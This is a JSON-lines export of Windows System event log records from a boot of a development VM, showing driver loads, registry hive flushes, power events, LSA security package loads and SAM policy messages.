{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.536607Z"}},"EventRecordID":3015,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":4,"DeviceName":"UCPD","DeviceTime":"2053-03-18T03:17:45.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"VfpExt"}},"EventID":{"#attributes":{"Qualifiers":16384},"#text":7036},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.620015Z"}},"EventRecordID":3016,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":["","Driver load start"]},"Binary":"0000000002002C00000000007C1B0040000000000000000000000000000000000000000000000000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"VfpExt"}},"EventID":{"#attributes":{"Qualifiers":16384},"#text":7036},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.620015Z"}},"EventRecordID":3017,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":["","Driver load complete"]},"Binary":"0000040002003000000000007C1B004000000000000000000000000000000000000000000000000057000600"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.665964Z"}},"EventRecordID":3018,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":9,"DeviceName":"npsvctrig","DeviceTime":"1979-12-19T08:12:41.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.697954Z"}},"EventRecordID":3019,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":8}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":46,"HiveName":"\\Device\\HarddiskVolume2\\EFI\\Microsoft\\Boot\\BCD","KeysUpdated":68,"DirtyPages":5}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Power","Guid":"331C3B3A-2005-44C2-AC5E-77220C37D6B4"}},"EventID":172,"Version":0,"Level":4,"Task":203,"Opcode":0,"Keywords":"0x8000000000000404","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.700839Z"}},"EventRecordID":3020,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":120}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"State":2,"Reason":6}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-PnP","Guid":"9C205A39-1250-487D-ABD7-E831C6290539"}},"EventID":219,"Version":0,"Level":3,"Task":212,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.704294Z"}},"EventRecordID":3021,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"DriverNameLength":15,"DriverName":"ROOT\\VMBus\\0000","Status":3221226341,"FailureNameLength":14,"FailureName":"\\Driver\\vmbusr","Version":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Processor-Power","Guid":"0F67E49F-FE51-4E9F-B490-6F2948CC6027"}},"EventID":55,"Version":0,"Level":4,"Task":47,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.924333Z"}},"EventRecordID":3022,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Group":0,"Number":0,"IdleStateCount":1,"IdleImplementation":1,"NominalFrequency":2495,"MaximumPerformancePercent":100,"MinimumPerformancePercent":100,"MinimumThrottlePercent":100,"PerformanceImplementation":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Processor-Power","Guid":"0F67E49F-FE51-4E9F-B490-6F2948CC6027"}},"EventID":55,"Version":0,"Level":4,"Task":47,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.924724Z"}},"EventRecordID":3023,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Group":0,"Number":1,"IdleStateCount":1,"IdleImplementation":1,"NominalFrequency":2495,"MaximumPerformancePercent":100,"MinimumPerformancePercent":100,"MinimumThrottlePercent":100,"PerformanceImplementation":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Processor-Power","Guid":"0F67E49F-FE51-4E9F-B490-6F2948CC6027"}},"EventID":55,"Version":0,"Level":4,"Task":47,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.925084Z"}},"EventRecordID":3024,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Group":0,"Number":2,"IdleStateCount":1,"IdleImplementation":1,"NominalFrequency":2495,"MaximumPerformancePercent":100,"MinimumPerformancePercent":100,"MinimumThrottlePercent":100,"PerformanceImplementation":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Processor-Power","Guid":"0F67E49F-FE51-4E9F-B490-6F2948CC6027"}},"EventID":55,"Version":0,"Level":4,"Task":47,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.925310Z"}},"EventRecordID":3025,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Group":0,"Number":3,"IdleStateCount":1,"IdleImplementation":1,"NominalFrequency":2495,"MaximumPerformancePercent":100,"MinimumPerformancePercent":100,"MinimumThrottlePercent":100,"PerformanceImplementation":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Power","Guid":"331C3B3A-2005-44C2-AC5E-77220C37D6B4"}},"EventID":521,"Version":0,"Level":4,"Task":220,"Opcode":0,"Keywords":"0x8000000000000404","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.926893Z"}},"EventRecordID":3026,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":356}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"ValidBatteryCount":0,"ErrorBatteryCount":0,"AbandonedBatteryCount":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-Power","Guid":"331C3B3A-2005-44C2-AC5E-77220C37D6B4"}},"EventID":521,"Version":0,"Level":4,"Task":220,"Opcode":0,"Keywords":"0x8000000000000404","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.927322Z"}},"EventRecordID":3027,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":356}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"ValidBatteryCount":1,"ErrorBatteryCount":0,"AbandonedBatteryCount":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.968277Z"}},"EventRecordID":3028,"Correlation":null,"Execution":{"#attributes":{"ProcessID":468,"ThreadID":472}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":46,"HiveName":"\\Device\\HarddiskVolume2\\EFI\\Microsoft\\Boot\\BCD","KeysUpdated":68,"DirtyPages":5}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.969491Z"}},"EventRecordID":3029,"Correlation":null,"Execution":{"#attributes":{"ProcessID":468,"ThreadID":472}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":46,"HiveName":"\\Device\\HarddiskVolume2\\EFI\\Microsoft\\Boot\\BCD","KeysUpdated":68,"DirtyPages":5}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Ntfs","Guid":"3FF37A1C-A68D-4D6E-8C9B-F79E8B16C482"}},"EventID":98,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000002","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.978503Z"}},"EventRecordID":3030,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":52}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"DriveName":"\\\\?\\Volume{ba579dec-23d5-4cef-9451-10d971c3ff1e}","DeviceName":"\\Device\\HarddiskVolume1","CorruptionActionState":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.982952Z"}},"EventRecordID":3031,"Correlation":null,"Execution":{"#attributes":{"ProcessID":468,"ThreadID":472}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":46,"HiveName":"\\Device\\HarddiskVolume2\\EFI\\Microsoft\\Boot\\BCD","KeysUpdated":68,"DirtyPages":5}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":15,"Version":0,"Level":4,"Task":10,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.310600Z"}},"EventRecordID":3032,"Correlation":null,"Execution":{"#attributes":{"ProcessID":104,"ThreadID":516}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":36,"HiveName":"\\SystemRoot\\System32\\Config\\SOFTWARE","OriginalSize":109568000,"NewSize":109424640}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":24,"Version":0,"Level":4,"Task":11,"Opcode":0,"Keywords":"0x8000000000000010","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.338915Z"}},"EventRecordID":3033,"Correlation":null,"Execution":{"#attributes":{"ProcessID":104,"ThreadID":548}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"ExitReason":0,"CurrentBias":480,"CurrentTimeZoneID":1,"TimeZoneInfoCacheUpdated":0,"FirstRefresh":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.352677Z"}},"EventRecordID":3034,"Correlation":null,"Execution":{"#attributes":{"ProcessID":440,"ThreadID":444}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":46,"HiveName":"\\Device\\HarddiskVolume2\\EFI\\Microsoft\\Boot\\BCD","KeysUpdated":68,"DirtyPages":5}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.617848Z"}},"EventRecordID":3035,"Correlation":null,"Execution":{"#attributes":{"ProcessID":104,"ThreadID":524}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":35,"HiveName":"\\SystemRoot\\System32\\Config\\DEFAULT","KeysUpdated":276,"DirtyPages":47}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Wininit","Guid":"206F6DEA-D3C5-4D10-BC72-989F03C8B84B"}},"EventID":14,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x4000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.712596Z"}},"EventRecordID":3036,"Correlation":null,"Execution":{"#attributes":{"ProcessID":640,"ThreadID":644}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Config":2,"IsTestConfig":0,"IsAutoEnabled":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Wininit","Guid":"206F6DEA-D3C5-4D10-BC72-989F03C8B84B"}},"EventID":15,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x4000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.712605Z"}},"EventRecordID":3037,"Correlation":null,"Execution":{"#attributes":{"ProcessID":640,"ThreadID":644}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6156,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.729645Z"}},"EventRecordID":3038,"Correlation":null,"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HardwareChecks":0,"ADDomainJoin":0,"AADDomainJoin":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.733964Z"}},"EventRecordID":3039,"Correlation":null,"Execution":{"#attributes":{"ProcessID":104,"ThreadID":512}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":36,"HiveName":"\\SystemRoot\\System32\\Config\\SECURITY","KeysUpdated":76,"DirtyPages":5}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.752848Z"}},"EventRecordID":3040,"Correlation":null,"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"negoexts"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.756158Z"}},"EventRecordID":3041,"Correlation":null,"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"kerberos"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.764627Z"}},"EventRecordID":3042,"Correlation":null,"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"msv1_0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.771357Z"}},"EventRecordID":3043,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"tspkg"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.772860Z"}},"EventRecordID":3044,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"pku2u"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.773658Z"}},"EventRecordID":3045,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"cloudap"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.793930Z"}},"EventRecordID":3046,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"wdigest"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.796492Z"}},"EventRecordID":3047,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"schannel"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.803487Z"}},"EventRecordID":3048,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"sfapm"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"LsaSrv","Guid":"199FE037-2B82-40A9-82AC-E1D46C792B99"}},"EventID":6155,"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.803912Z"}},"EventRecordID":3049,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"PackageName":"msv1_0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Directory-Services-SAM","Guid":"0D4FDC09-8C27-494A-BDA0-505E4FD8ADAE"}},"EventID":16962,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.811181Z"}},"EventRecordID":3050,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"#attributes":{"Name":"SAMMSG_RESTRICT_REMOTE_SAM_DEFAULT_SD"},"Default SD String:":"O:SYG:SYD:(A;;RC;;;BA)"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.812265Z"}},"EventRecordID":3051,"Correlation":null,"Execution":{"#attributes":{"ProcessID":104,"ThreadID":528}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":31,"HiveName":"\\SystemRoot\\System32\\Config\\SAM","KeysUpdated":67,"DirtyPages":6}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Directory-Services-SAM","Guid":"0D4FDC09-8C27-494A-BDA0-505E4FD8ADAE"}},"EventID":16977,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.814160Z"}},"EventRecordID":3052,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"#attributes":{"Name":"SAMMSG_MINPWDLEN_SETTINGS_IN_EFFECT"},"MinimumPasswordLength":0,"RelaxMinimumPasswordLengthLimits":0,"MinimumPasswordLengthAudit":-1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Directory-Services-SAM","Guid":"0D4FDC09-8C27-494A-BDA0-505E4FD8ADAE"}},"EventID":16983,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.814162Z"}},"EventRecordID":3053,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"#attributes":{"Name":"SAMMSG_AUDIT_LEGACY_PWD_RPC_METHODS_OFF"}}}}
